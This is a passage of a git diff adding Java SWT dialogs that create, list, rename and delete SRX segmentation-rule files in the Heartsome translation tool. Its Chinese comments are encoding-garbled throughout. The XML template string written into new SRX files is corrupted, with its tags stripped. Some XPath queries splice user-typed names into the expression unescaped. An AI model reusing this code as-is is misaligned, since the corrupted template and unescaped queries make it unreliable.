org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 创建(修改)srx文件(å) + * @author robert 2012-02-28 + * @version + * @since JDK1.6 + */ +public class CreateOrUpdataSRXDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(CreateOrUpdataSRXDialog.class); + private boolean isAdd; + private Text nameTxt; + private IWorkspaceRoot root; + /** 当å‰å·²ç»åˆ›å»ºå®Œæˆçš„,或者正在修改文件文件的å称 */ + private String curSrxName; + + public CreateOrUpdataSRXDialog(Shell parentShell, boolean isAdd) { + super(parentShell); + root = ResourcesPlugin.getWorkspace().getRoot(); + this.isAdd = isAdd; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(isAdd ? Messages.getString("srx.CreateOrUpdataSRXDialog.title1") : Messages + .getString("srx.CreateOrUpdataSRXDialog.title2")); + + } + + @Override + protected boolean isResizable() { + return false; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(300, 50).minSize(300, 50).applyTo(tparent); + + Composite nameCmp = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(nameCmp); + GridLayoutFactory.fillDefaults().numColumns(2).applyTo(nameCmp); + + Label nameLbl = new Label(nameCmp, SWT.NONE); + nameLbl.setText(Messages.getString("srx.CreateOrUpdataSRXDialog.nameLbl")); + + nameTxt = new Text(nameCmp, SWT.BORDER); + GridDataFactory.fillDefaults().grab(true, false).applyTo(nameTxt); + + return tparent; + } + + @Override + protected void okPressed() { + String srxName = nameTxt.getText().trim(); + // 先判断该文件å是å¦åˆæ³• + if ("".equals(srxName) || srxName == null) { + MessageDialog.openInformation(getShell(), Messages.getString("srx.CreateOrUpdataSRXDialog.msgTitle1"), + Messages.getString("srx.CreateOrUpdataSRXDialog.msg1")); + return; + } else if (!srxName.endsWith(".srx")) { + MessageDialog.openInformation(getShell(), Messages.getString("srx.CreateOrUpdataSRXDialog.msgTitle1"), + Messages.getString("srx.CreateOrUpdataSRXDialog.msg2")); + return; + } +// String srxLoaction = root.getLocation().append(ADConstants.AD_SRXConfigFolder).append(srxName).toOSString(); + String srxLocation = ADConstants.configLocation + ADConstants.AD_SRXConfigFolder + File.separator + srxName; + + // 创建文件的情况 + if (isAdd) { + // 在添加之å‰å…ˆéš¾è¯æ˜¯å¦é‡å¤ + File srxFile = new File(srxLocation); + if (srxFile.exists()) { + boolean response = MessageDialog.openConfirm(getShell(), + Messages.getString("srx.CreateOrUpdataSRXDialog.msgTitle2"), + MessageFormat.format(Messages.getString("srx.CreateOrUpdataSRXDialog.msg3"), srxName)); + if (!response) { + return; + } + } + + try { + FileOutputStream output = new FileOutputStream(srxLocation); + String initData = "\n" + + "\n" + "\n" + + "\t
    \n" + + "\t\t\n" + + "\t\t\n" + + "\t\t\n" + "\t
    \n" + "
    \n"; + output.write(initData.getBytes("UTF-8")); + output.close(); + } catch (Exception e) { + LOGGER.error("", e); + } + curSrxName = srxName; + } else { + // 修改 + if (!curSrxName.equals(srxName)) { + // 验è¯ä¿®æ”¹ä¹‹åŽçš„文件å是å¦é‡å¤ + File editedSrx = new File(ADConstants.configLocation + ADConstants.AD_SRXConfigFolder + File.separator + srxName); + if (editedSrx.exists()) { + boolean response = MessageDialog.openConfirm(getShell(), + Messages.getString("srx.CreateOrUpdataSRXDialog.msgTitle2"), + MessageFormat.format(Messages.getString("srx.CreateOrUpdataSRXDialog.msg4"), srxName)); + if (!response) { + return; + } + } + + // 执行对文件å的修改工作 + File curSrx = new File(ADConstants.configLocation + ADConstants.AD_SRXConfigFolder + File.separator + curSrxName); + curSrx.renameTo(editedSrx); + curSrxName = srxName; + } + } + super.okPressed(); + } + + public String getCurSrxName() { + return curSrxName; + } + + public void setEditInitData(String srxName) { + nameTxt.setText(srxName); + curSrxName = srxName; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/SrxConfigurationDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/SrxConfigurationDialog.java new file mode 100644 index 0000000..f1fbef7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/SrxConfigurationDialog.java @@ -0,0 +1,442 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs.srx; + +import java.io.File; +import java.io.FilenameFilter; +import java.text.MessageFormat; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.advanced.ADConstants; +import net.heartsome.cat.ts.ui.advanced.TableViewerLabelProvider; +import net.heartsome.cat.ts.ui.advanced.dialogs.XmlConverterConfigurationDialog.XmlConvertOrder; +import net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.PlatformUI; + +/** + * é…置分段规则的第一个对è¯æ¡†ï¼Œå³æ˜¾ç¤ºå‡ºæ‰€æœ‰åˆ†æ®µè§„则文件的对è¯æ¡† + * @author robert 2012-02-28 + * @version + * @since JDK1.6 + */ +public class SrxConfigurationDialog extends TrayDialog { + private Button addBtn; + private Button editBtn; + private Button deleteBtn; + private TableViewer tableViewer; + private Table table; + private IWorkspaceRoot root; + private ADXmlHandler handler = new ADXmlHandler(); + + /** 系统默认的分段规则å称 */ + private static final String[] systemSrxName = new String[]{"default_rules.srx", "trados_rules.srx"}; + + private Cursor cursorWait = new Cursor(Display.getDefault(), SWT.CURSOR_WAIT); + private Cursor cursorArrow = new Cursor(Display.getDefault(), SWT.CURSOR_ARROW); + public SrxConfigurationDialog(Shell parentShell) { + super(parentShell); + root = ResourcesPlugin.getWorkspace().getRoot(); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("srx.SrxConfigurationDialog.title")); + } + + @Override + protected boolean isResizable() { + return true; + } + + /** + * 添加帮助按钮,备注,这里的é…置与其他的ä¸ä¸€æ · + * robert 2012-09-06 + */ + protected Control createHelpToolItem(Composite parent) { + // ROBERTHELP 分段规则管ç†å™¨ + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s03#segmentation-rule-manager", language); + + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + @Override + protected Control createButtonBar(Composite parent) { + Composite buttonCmp = new Composite(parent, SWT.NONE); + + GridLayout layout = new GridLayout(); + layout.numColumns = 2; + layout.makeColumnsEqualWidth = false; + layout.marginWidth = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); + layout.marginHeight = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_MARGIN); + layout.horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); + layout.verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + buttonCmp.setLayout(layout); + GridData data = new GridData(SWT.FILL, SWT.FILL, true, false); + buttonCmp.setLayoutData(data); + buttonCmp.setFont(parent.getFont()); + + Composite leftCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(leftCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(3).equalWidth(false).applyTo(leftCmp); + + addBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("srx.SrxConfigurationDialog.addBtn"), false); + editBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("srx.SrxConfigurationDialog.editBtn"), false); + deleteBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("srx.SrxConfigurationDialog.deleteBtn"), false); + + Composite rightCmp = new Composite(buttonCmp, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(1).equalWidth(false).applyTo(rightCmp); + + new Label(rightCmp, SWT.NONE); + + Label separatorLbl = new Label(buttonCmp, SWT.HORIZONTAL | SWT.SEPARATOR); + GridDataFactory.fillDefaults().span(2, SWT.DEFAULT).applyTo(separatorLbl); + +// new Label(buttonCmp, SWT.NONE); + createHelpToolItem(buttonCmp); + Composite bottomCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(false, false).applyTo(bottomCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(1).applyTo(bottomCmp); + + createButton(bottomCmp, IDialogConstants.CANCEL_ID, Messages.getString("srx.SrxConfigurationDialog.cancel"), + true).setFocus(); + + initListener(); + return buttonCmp; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(400, 400).minSize(400, 400).applyTo(tparent); + + tableViewer = new TableViewer(tparent, SWT.FULL_SELECTION | SWT.MULTI | SWT.H_SCROLL | SWT.V_SCROLL + | SWT.BORDER); + table = tableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + GridDataFactory.fillDefaults().grab(true, true).applyTo(table); + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + + String[] columnNames = new String[] { Messages.getString("srx.SrxConfigurationDialog.columnNames1"), + Messages.getString("srx.SrxConfigurationDialog.columnNames2") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + + // 处ç†æŽ’åºçš„问题 + switch (i) { + case 0: + tableColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; // å‡åº + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? XmlConvertOrder.index_ASC : XmlConvertOrder.index_DESC); + asc = !asc; + } + }); + break; + case 1: + tableColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; // å‡åº + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? XmlConvertOrder.xmlName_ASC : XmlConvertOrder.xmlName_DESC); + asc = !asc; + } + }); + break; + default: + break; + } + } + tableViewer.setInput(getSRXConfigFilesInfo()); + + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.1, 0.85 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + tableViewer.addDoubleClickListener(new IDoubleClickListener() { + public void doubleClick(DoubleClickEvent event) { + editSrx(); + } + }); + refreshTable(null); + return tparent; + } + + /** + * 给增删改三个按钮æ示添加事件 ; + */ + private void initListener() { + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + CreateOrUpdataSRXDialog createDialog = new CreateOrUpdataSRXDialog(getShell(), true); + int createResult = createDialog.open(); + if (IDialogConstants.OK_ID == createResult) { + String addedSrxName = createDialog.getCurSrxName(); + // 添加完æˆè¯¥æ–‡ä»¶åŽï¼Œè§£æžè¯¥æ–‡ä»¶ + boolean openResult = openSrx(ADConstants.configLocation + ADConstants.AD_SRXConfigFolder + File.separator + addedSrxName); + if (!openResult) { + return; + } + AddOrEditSrxConfigDialog addDialog = new AddOrEditSrxConfigDialog(getShell(), addedSrxName, handler); + addDialog.open(); + refreshTable(addedSrxName); + } + } + }); + editBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + editSrx(); + } + }); + deleteBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + ISelection selection = tableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof StructuredSelection) { + boolean response = MessageDialog.openConfirm(getShell(), + Messages.getString("srx.SrxConfigurationDialog.msgTitle1"), + Messages.getString("srx.SrxConfigurationDialog.msg1")); + if (!response) { + return; + } + + StructuredSelection structSelection = (StructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator it = structSelection.iterator(); + File deleteSrx; + boolean isTiped = false; + while (it.hasNext()) { + String srxName = it.next()[1]; + if (isSystemSrx(srxName)) { + if (!isTiped) { + MessageDialog.openInformation(getShell(), Messages.getString("dialogs.CatalogManagerDialog.msgTitle2"), + Messages.getString("srx.SrxConfigurationDialog.msg4")); + isTiped = true; + } + continue; + } + deleteSrx = new File(ADConstants.configLocation + ADConstants.AD_SRXConfigFolder + File.separator + srxName); + if (!deleteSrx.delete()) { + MessageDialog.openInformation(getShell(), Messages + .getString("srx.SrxConfigurationDialog.msgTitle2"), MessageFormat.format( + Messages.getString("srx.SrxConfigurationDialog.msg2"), srxName)); + } + } + refreshTable(null); + } else { + MessageDialog.openInformation(getShell(), Messages.getString("srx.SrxConfigurationDialog.msgTitle2"), + Messages.getString("srx.SrxConfigurationDialog.msg3")); + } + } + }); + } + + @Override + protected void okPressed() { + super.okPressed(); + } + + /** + * 编辑SRX文件 ; + */ + private void editSrx() { + ISelection selection = tableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof StructuredSelection) { + StructuredSelection structSelection = (StructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator it = structSelection.iterator(); + if (it.hasNext()) { + String srxName = it.next()[1]; + if (isSystemSrx(srxName)) { + MessageDialog.openInformation(getShell(), Messages.getString("dialogs.CatalogManagerDialog.msgTitle2"), + Messages.getString("srx.SrxConfigurationDialog.msg4")); + return; + } + + CreateOrUpdataSRXDialog editDialog = new CreateOrUpdataSRXDialog(getShell(), false); + editDialog.create(); + editDialog.setEditInitData(srxName); + int result = editDialog.open(); + if (result == IDialogConstants.OK_ID) { + String editedSrxName = editDialog.getCurSrxName(); + if (!openSrx(ADConstants.configLocation + ADConstants.AD_SRXConfigFolder + File.separator + editedSrxName)) { + return; + } + + AddOrEditSrxConfigDialog addDialog = new AddOrEditSrxConfigDialog(getShell(), editedSrxName, + handler); + addDialog.open(); + refreshTable(editedSrxName); + } + } + } + } + + /** + * 判断指定的 分段规则是å¦æ˜¯ã€€ç³»ç»Ÿé»˜è®¤çš„分段规则,因为系统默认的分段规则是ä¸å……许修改与删除的 + * @param srxName + * @return true 是系统默认的分段规则 false ä¸æ˜¯ç³»ç»Ÿé»˜è®¤çš„分段规则 + */ + private boolean isSystemSrx(String srxName){ + boolean isSystem = false; + for(String curSrxName : systemSrxName){ + if (curSrxName.equals(srxName)) { + isSystem = true; + } + } + return isSystem; + } + + public String[][] getSRXConfigFilesInfo() { + getShell().setCursor(cursorWait); + String srxConfigLocation = ADConstants.configLocation + ADConstants.AD_SRXConfigFolder; + File[] array = new File(srxConfigLocation).listFiles(new FilenameFilter() { + public boolean accept(File dir, String name) { + if (name.endsWith(".srx")) {return true;} //$NON-NLS-1$ //$NON-NLS-2$ + return false; + } + }); + List srxFileInfoList = new LinkedList(); + // 解æžæ¯ä¸ªæ–‡ä»¶ï¼ŒæŸ¥çœ‹å…¶æ˜¯å¦ç¬¦åˆSRX标准 + for (int i = 0; i < array.length; i++) { + File srxFile = array[i]; + Map newResultMap = handler.openFile(srxFile.getAbsolutePath()); + // 文件解æžå‡ºé”™ + if (newResultMap == null + || QAConstant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) newResultMap + .get(QAConstant.RETURNVALUE_RESULT)) { + continue; + } + if (handler.validSrx(srxFile.getAbsolutePath())) { + srxFileInfoList.add(new String[] { "" + (srxFileInfoList.size() + 1), srxFile.getName() }); + } + } + getShell().setCursor(cursorArrow); + return srxFileInfoList.toArray(new String[][] {}); + + } + + /** + * 刷新列表,如果srxName(SRX文件å)ä¸ä¸ºç©ºï¼Œè¿˜è¦å®šä½åˆ°å½“å‰æ–‡ä»¶å + * @param srxName + * ; + */ + public void refreshTable(String srxName) { + tableViewer.setInput(getSRXConfigFilesInfo()); + if (srxName != null) { + TableItem[] items = table.getItems(); + for (int i = 0; i < items.length; i++) { + if (srxName.equals(items[i].getText(1))) { + table.setSelection(i); + } + } + } + } + + private boolean openSrx(String srxLocation) { + Map newResultMap = handler.openFile(srxLocation); + // 文件解æžå‡ºé”™ + if (newResultMap == null + || QAConstant.RETURNVALUE_RESULT_SUCCESSFUL != (Integer) newResultMap + .get(QAConstant.RETURNVALUE_RESULT)) { + return false; + } + return true; + } + + @Override + public boolean close() { + if(cursorArrow != null && !cursorArrow.isDisposed()){ + cursorArrow.dispose(); + } + if(cursorWait != null && !cursorWait.isDisposed()){ + cursorWait.dispose(); + } + return super.close(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/SrxLanguageRulesManageDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/SrxLanguageRulesManageDialog.java new file mode 100644 index 0000000..3be108e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/srx/SrxLanguageRulesManageDialog.java @@ -0,0 +1,399 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs.srx; + +import java.text.MessageFormat; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler; +import net.heartsome.cat.ts.ui.advanced.model.LanguageRuleBean; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.Text; + +/** + * SRX的语言规则管ç†å™¨ + * @author robert 2012-02-29 + * @version + * @since JDK1.6 + */ +public class SrxLanguageRulesManageDialog extends Dialog { + private Button addBtn; + private Button editBtn; + private Button deleteBtn; + private Text nameTxt; + private TableViewer tableViewer; + private Table table; + private List langRulesList = new LinkedList(); + private boolean isAdd; + private ADXmlHandler handler; + private String srxLocation; + private String curLanguageRuleName; + + public SrxLanguageRulesManageDialog(Shell parentShell, boolean isAdd, ADXmlHandler handler, String srxLocation) { + super(parentShell); + this.isAdd = isAdd; + this.handler = handler; + this.srxLocation = srxLocation; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("srx.SrxLanguageRulesManageDialog.title")); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected Control createButtonBar(Composite parent) { + Composite buttonCmp = new Composite(parent, SWT.NONE); + + GridLayout layout = new GridLayout(); + layout.numColumns = 2; + layout.makeColumnsEqualWidth = false; + layout.marginWidth = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); + layout.marginHeight = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_MARGIN); + layout.horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); + layout.verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + buttonCmp.setLayout(layout); + GridData data = new GridData(SWT.FILL, SWT.FILL, true, false); + buttonCmp.setLayoutData(data); + buttonCmp.setFont(parent.getFont()); + + Composite leftCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(leftCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(3).equalWidth(false).applyTo(leftCmp); + + addBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("srx.SrxLanguageRulesManageDialog.addBtn"), false); + editBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("srx.SrxLanguageRulesManageDialog.editBtn"), false); + deleteBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("srx.SrxLanguageRulesManageDialog.deleteBtn"), false); + + Composite rightCmp = new Composite(buttonCmp, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(1).equalWidth(false).applyTo(rightCmp); + + new Label(rightCmp, SWT.NONE); + + Label separatorLbl = new Label(buttonCmp, SWT.HORIZONTAL | SWT.SEPARATOR); + GridDataFactory.fillDefaults().span(2, SWT.DEFAULT).applyTo(separatorLbl); + + new Label(buttonCmp, SWT.NONE); + Composite bottomCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(false, false).applyTo(bottomCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(2).applyTo(bottomCmp); + + createButton(bottomCmp, IDialogConstants.OK_ID, Messages.getString("srx.SrxLanguageRulesManageDialog.ok"), + false); + createButton(bottomCmp, IDialogConstants.CANCEL_ID, + Messages.getString("srx.SrxLanguageRulesManageDialog.cancel"), true).setFocus(); + + initListener(); + + return buttonCmp; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(600, 500).minSize(600, 500).applyTo(tparent); + + Composite nameCmp = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(nameCmp); + GridLayoutFactory.fillDefaults().numColumns(2).applyTo(nameCmp); + + Label nameLbl = new Label(nameCmp, SWT.NONE); + nameLbl.setText(Messages.getString("srx.SrxLanguageRulesManageDialog.nameLbl")); + + nameTxt = new Text(nameCmp, SWT.BORDER); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).applyTo(nameTxt); + + createTable(tparent); + return tparent; + } + + private void createTable(Composite tparent) { + tableViewer = new TableViewer(tparent, SWT.FULL_SELECTION | SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL + | SWT.MULTI); + table = tableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + + GridDataFactory.fillDefaults().span(4, SWT.DEFAULT).grab(true, true).applyTo(table); + tableViewer.setLabelProvider(new TViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + + String[] columnNames = new String[] { Messages.getString("srx.SrxLanguageRulesManageDialog.columnNames1"), + Messages.getString("srx.SrxLanguageRulesManageDialog.columnNames2"), + Messages.getString("srx.SrxLanguageRulesManageDialog.columnNames3") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + } + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.2, 0.37, 0.37 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + tableViewer.addDoubleClickListener(new IDoubleClickListener() { + public void doubleClick(DoubleClickEvent event) { + editLangRule(); + } + }); + } + + @Override + protected void okPressed() { + String langRuleName = nameTxt.getText().trim(); + if (langRuleName == null || "".equals(langRuleName)) { + MessageDialog.openInformation(getShell(), Messages.getString("srx.SrxLanguageRulesManageDialog.msgTitle"), + Messages.getString("srx.SrxLanguageRulesManageDialog.msg1")); + nameTxt.setFocus(); + return; + } + + // 如果是添加 + if (isAdd) { + // 先验è¯æ‰€æ·»åŠ çš„语言规则å是å¦å­˜åœ¨ï¼Œå¦‚果存在就æ示 + boolean isExist = handler.validNodeExist(srxLocation, + "/srx/body/languagerules/languagerule[@languagerulename='" + langRuleName + "']"); + if (isExist) { + MessageDialog + .openInformation(getShell(), Messages.getString("srx.SrxLanguageRulesManageDialog.msgTitle"), + MessageFormat.format(Messages.getString("srx.SrxLanguageRulesManageDialog.msg2"), + langRuleName)); + return; + } + + String languageRulesData = buildLangRules(langRuleName); + boolean addResult = handler.addLanguageRules(srxLocation, languageRulesData); + if (!addResult) { + MessageDialog.openInformation(getShell(), Messages.getString("srx.SrxLanguageRulesManageDialog.msgTitle"), + Messages.getString("srx.SrxLanguageRulesManageDialog.msg3")); + } + } else { + // 在编辑的情况 + // 首先判断语言规则节点å是å¦è¢«ä¿®æ”¹ï¼Œå¦‚果被修改,è¦åˆ¤æ–­å…¶ä¿®æ”¹åŽçš„节点å是å¦å·²ç»å­˜åœ¨ï¼Œå¦‚果存在,则æ示是å¦è¦†ç›– + if (!curLanguageRuleName.equals(langRuleName)) { + boolean isExist = handler.validNodeExist(srxLocation, + "/srx/body/languagerules/languagerule[@languagerulename='" + langRuleName + "']"); + if (isExist) { + boolean response = MessageDialog.openConfirm(getShell(), Messages + .getString("srx.SrxLanguageRulesManageDialog.msgTitle2"), MessageFormat.format( + Messages.getString("srx.SrxLanguageRulesManageDialog.msg4"), langRuleName)); + // 如果选择覆盖,那么先删除与修改åŽåŒèŠ‚点å的那个节点,å†ä¿®æ”¹ç›¸å¯¹åº”çš„æ•°æ® + if (response) { + handler.deleteNode(srxLocation, "/srx/body/languagerules/languagerule[@languagerulename='" + + langRuleName + "']"); + } else { + return; + } + } + // åŒæ­¥ä¿®æ”¹æ˜ å°„中的语言规则å称 + handler.updateMapRuleLangName(srxLocation, "/srx/body/maprules/maprule/languagemap[@languagerulename='" + + curLanguageRuleName + "']", langRuleName); + } + String newData = buildLangRules(langRuleName); + handler.updataDataToXml(srxLocation, "/srx/body/languagerules/languagerule[@languagerulename='" + + curLanguageRuleName + "']", newData); + } + + curLanguageRuleName = langRuleName; + super.okPressed(); + } + + public void initListener() { + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + AddOrEditLangRuleOfSrxDialog dialog = new AddOrEditLangRuleOfSrxDialog(getShell(), true, langRulesList); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + refreshTable(dialog.getCurLangRuleBean()); + } + + } + }); + 